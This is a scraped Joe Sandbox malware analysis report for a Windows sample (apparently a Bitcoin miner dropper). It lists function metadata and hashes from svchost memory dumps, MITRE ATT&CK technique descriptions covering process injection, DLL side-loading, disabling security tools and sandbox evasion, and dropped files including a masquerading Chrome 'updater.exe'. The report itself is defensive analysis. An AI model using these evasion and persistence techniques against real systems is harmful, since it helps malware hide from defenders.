Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F8614737601A858AEB209FA5D8803FD77E1F344B98F089265EE4A57B99DB38C595C700

Function 000001F28C1DA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1DA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28C1DA288

Strings

csm, xrefs: 000001F28C1DA2DA
csm, xrefs: 000001F28C1DA1C2

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 25aad5721677bc98cafa89319ea8e24db697cc3f84d272024727a276e12cc536
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B5515C32180A82CEEB64CB2695843A97FE1F355BD4F18C226DB9987BD5CF38E491C701

Function 000001F28C93AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C93ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28C93AE88

Strings

csm, xrefs: 000001F28C93AEDA
csm, xrefs: 000001F28C93ADC2

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 9177f0bf0d9df7804a9a46984ee0add15a62b848f9b6fecfe92ace9b6ae30fc5
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 2B518F72140AC28AEB748BB59D843B977E0F354BE5F1CA265DA5947BD5CF38D860CB00

Function 000001F28C1D8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C1D84A8

Strings

f, xrefs: 000001F28C1D8426
csm, xrefs: 000001F28C1D848E

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: afc53225cc655b2fed49d42925427f3b528b099016d9c220d28cc2c64652b1ec
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1D51AB32661A02CAFB18DB15E484BB93BE5F354BDCF518134DB1643B88EB78E841CB84

Function 000001F28C1D83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C1D84A8

Strings

f, xrefs: 000001F28C1D8426
csm, xrefs: 000001F28C1D848E

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 5bb8fd39fd54a1bbbe4b45dd7fca3805f069a24c38516c4c1dc5b630a5076e57
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: C431BC72251B42D6F714DF12E884BA97BE8F740BC8F458124EF9A43B88DB38E941C784

Function 000001F28C942058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F28C9420D7
WriteFile.KERNEL32 ref: 000001F28C94239F
WriteFile.KERNEL32 ref: 000001F28C9423E5
GetLastError.KERNEL32 ref: 000001F28C94249B

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: c39e5784b660c4a4d2f64d18794380c2bf08d3c743fbeb2aeb89f9dd3d7ee852
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: E0D19A72B54E818AE711CBA9D4402FC7BF1F358BD8F1482A6DE5997B99DB34C506C340

Function 000001F28C9314A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C9314C5
HeapFree.KERNEL32 ref: 000001F28C9314D4
GetProcessHeap.KERNEL32 ref: 000001F28C9314E1
HeapFree.KERNEL32 ref: 000001F28C9314F0
GetProcessHeap.KERNEL32 ref: 000001F28C931500

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 6a44d1e2dfff894d57fae1d393df2fad9fd7c7e601c52ccba1ddab5a2a16cdc8
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 90014476640ED1DAE704EF66E9082AAA7E0F78CFC1F088435EA4A43729EF38C151C740

Function 000001F28C942980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001F28C942A9C
GetLastError.KERNEL32 ref: 000001F28C942B27

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: fc060a2a777751a54c3aac3ae4014f4932e9590c1f0470bfe82fe847ff4173f9
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: DD91CE72B50ED289FB64DF6594903FD3BE0B745BC8F1481A9DE0AA7A95DB34C482C700

Function 000001F28C937960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001F28C93798C
GetCurrentThreadId.KERNEL32 ref: 000001F28C93799A
GetCurrentProcessId.KERNEL32 ref: 000001F28C9379A6
QueryPerformanceCounter.KERNEL32 ref: 000001F28C9379B6

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 96732df7916216e4dd4de8696d19f0f646e57f72df42aa736ed25244752b7042
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: B0111872790F428AEB008B70E8543B833A4F719798F441E35DA6D477A4EB78D2988380

Function 000001F28C93253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28C932620
StrCpyW.SHLWAPI ref: 000001F28C932639

Strings

\\.\pipe\, xrefs: 000001F28C93262B

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a81e46be2f1358104ca60f674bf27db7b8eb3ba3bc6c3102e371a9ccd66cc1d5
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 1B719F36280FC286EB259F36A8483FA67D4F389BC4F582076DD0A53B9ADF35D6458700

Function 000001F28C1D9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001F28C1D9EB7

Strings

MOC, xrefs: 000001F28C1D9E7C
RCC, xrefs: 000001F28C1D9E85

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: ae7e25292b4b5205da875e4987803c657081cd892f163ddae90b46efd944a166
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 7E613432A01B868AEB20DF69D4803ED7BA0F748BD8F144225EF4917B99DB78E595C740

Function 000001F28C9426F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F28C942807
GetLastError.KERNEL32 ref: 000001F28C942829

Strings

U, xrefs: 000001F28C9427B3

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 2514762f6e10ab6845feae25dddec55dde5b08df4a5e13f98591cf2ab0d60153
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 60418D72615E8186EB209F25E8443FAB7A0F798BD4F548171EE4E87798EB3CC541CB50

Function 000001F28C9394A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F28C9394F0
RaiseException.KERNEL32 ref: 000001F28C939531

Strings

csm, xrefs: 000001F28C93951E

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: a1389ac8532826ac596aaee6b13d59646ba39f355e91e1ec56b6d169f0d5a3fa
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 61112832214FC182EB618F25E4443A9B7E5FB88B94F598264EE8C07B69DF3CC595CB00

Function 000001F28C1D7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28C1D737C

Strings

riptor at (, xrefs: 000001F28C1D7364
ierarchy Descriptor', xrefs: 000001F28C1D7381

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 09633eca710365df152610dc5942b59f08b7406966c11a0154c1b9ae03bc6ca5
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 09E086B1680F4690DF028F62E8802E837E0DB58BA4B489132DA5C47351FB7CD1E9C300

Function 000001F28C1D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28C1D73D8

Strings

Locator', xrefs: 000001F28C1D73DD
riptor at (, xrefs: 000001F28C1D73C0

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 6f46bb36e99698124d87c0e4d324587b24abbfd4879edec8008199ce5951e68a
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 74E0E6B1651F45D4DF028F61E4901E877A5E758B94B889132DA5C47355EB78D1E5C300

Function 000001F28C931BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C931C2D
HeapAlloc.KERNEL32 ref: 000001F28C931C3B
GetProcessHeap.KERNEL32 ref: 000001F28C931C77
HeapFree.KERNEL32 ref: 000001F28C931C85

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 4d82505500ce06d62ce877f2f89efa63fb9e64a04db03c9d2b6106834071bf2b
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 67113A35641F8686EA54DB66A8082B967E1FB89FC0F1890B9DE4D57776EF38C442C300

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Google\Chrome\updater.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_byrmvkjw.o2a.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewk25go3.elr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_naaqlpms.sxr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nhgu5k4m.ff1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o3per4eq.d54.psm1

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

